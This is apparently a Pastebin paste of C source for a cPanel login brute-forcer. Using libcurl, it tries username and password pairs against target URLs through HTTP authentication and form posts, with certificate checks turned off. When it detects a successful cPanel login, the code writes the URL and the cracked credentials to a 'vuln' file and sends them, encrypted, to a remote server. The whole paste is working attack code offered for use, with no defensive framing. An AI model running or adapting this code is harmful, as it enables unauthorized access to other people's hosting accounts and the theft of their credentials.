Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- extern char *mode;
- void delete_cookie_file(int id_comb)
- {
- char file_to_delete[100];
- memset(file_to_delete,0,sizeof(file_to_delete));
- sprintf(file_to_delete,"cookies/cookie_%d.txt",id_comb);
- if(remove(file_to_delete) != 0)
- {
- // perror( "Error deleting file" );
- }
- else
- {
- // puts( "File successfully deleted" );
- }
- }
- void create_cookie(int id_comb)
- {
- char create_command[500];
- memset(create_command,0,sizeof(create_command));
- sprintf(create_command,"touch cookies/cookie_%d.txt; chmod 777 cookies/cookie_%d.txt; ",id_comb,id_comb,id_comb);
- system(create_command);
- }
- char* get_cookie_filename_by_id(int id_comb)
- {
- char temp_cookie[100];
- memset(temp_cookie,0,sizeof(temp_cookie));
- sprintf(temp_cookie,"cookies/cookie_%d.txt",id_comb);
- return strdup(temp_cookie);
- }
- int curl_cpanel_brute(char* url, char* user, char* pass, int debug_curl, int id_comb)
- {
- delete_cookie_file(id_comb);
- create_cookie(id_comb);
- char *cookie_path;
- cookie_path = realpath(get_cookie_filename_by_id(id_comb), NULL);
- int result = 0;
- CURL *curl_handle;
- CURLcode res;
- struct MemoryStruct chunk;
- char* curl_error;
- struct curl_slist *chunk_headers = NULL;
- curl_global_init(CURL_GLOBAL_ALL);
- chunk.memory = (char*) malloc(1);
- chunk.size = 0;
- // CURL1
- curl_handle = curl_easy_init();
- curl_easy_setopt(curl_handle, CURLOPT_URL, url);
- curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems
- curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
- // curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
- curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
- // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);
- curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
- // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
- // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
- // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST,"RC4-SHA");
- // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);
- if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);
- // curl_easy_setopt(curl_handle, CURLOPT_FAILONERROR, 1L);
- // curl_easy_setopt(curl_handle, CURLOPT_UPLOAD, 1L);
- char user_pass[500];
- memset(user_pass,0,sizeof(user_pass));
- sprintf(user_pass,"%s:%s",user,pass);
- curl_easy_setopt(curl_handle, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
- curl_easy_setopt(curl_handle, CURLOPT_USERPWD,user_pass);
- res = curl_easy_perform(curl_handle);
- if(res != CURLE_OK)
- {
- curl_error = (char*) curl_easy_strerror(res);
- if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
- }
- else
- {
- if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);
- if(debug_curl >=3) puts(chunk.memory);
- if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
- {
- result = 1;
- char temp_filename_line[500];
- memset(temp_filename_line,0,500);
- sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
- if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");
- send_data_to_server(encrypt(temp_filename_line));
- }
- else if(strstr(chunk.memory,"name=\"user\"") && strstr(chunk.memory,"name=\"pass\""))
- {
- // it is a box, post it
- curl_easy_setopt(curl_handle, CURLOPT_URL, url);
- curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems
- curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
- //curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
- curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
- // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);
- curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
- // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
- // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
- // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);
- char post_string[500];
- memset(post_string,0,500);
- sprintf(post_string,"user=%s&pass=%s",user,pass);
- curl_easy_setopt(curl_handle,CURLOPT_POSTFIELDS,post_string);
- if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);
- res = curl_easy_perform(curl_handle);
- if(res != CURLE_OK)
- {
- curl_error = (char*) curl_easy_strerror(res);
- if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
- // visit it once more if ssl
- if(strstr(url,"https://") || strstr(url,":443"))
- {
- curl_easy_setopt(curl_handle, CURLOPT_URL, url);
- curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems
- curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
- curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
- // curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
- curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
- // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);
- curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
- curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
- // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
- // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
- // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
- curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);
- if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);
- res = curl_easy_perform(curl_handle);
- if(res != CURLE_OK)
- {
- curl_error = (char*) curl_easy_strerror(res);
- if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
- }
- else
- {
- if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);
- if(debug_curl >=3) puts(chunk.memory);
- }
- if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
- {
- result = 1;
- char temp_filename_line[500];
- memset(temp_filename_line,0,500);
- sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
- if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");
- send_data_to_server(encrypt(temp_filename_line));
- }
- }
- }
- else
- {
- if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);
- if(debug_curl >=3) puts(chunk.memory);
- if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
- {
- result = 1;
- char temp_filename_line[500];
- memset(temp_filename_line,0,500);
- sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
- if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");
- send_data_to_server(encrypt(temp_filename_line));
- }
- }
- }
- }
- curl_easy_cleanup(curl_handle);
- free(chunk.memory);
- curl_global_cleanup();
- delete_cookie_file(id_comb);
- return result;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement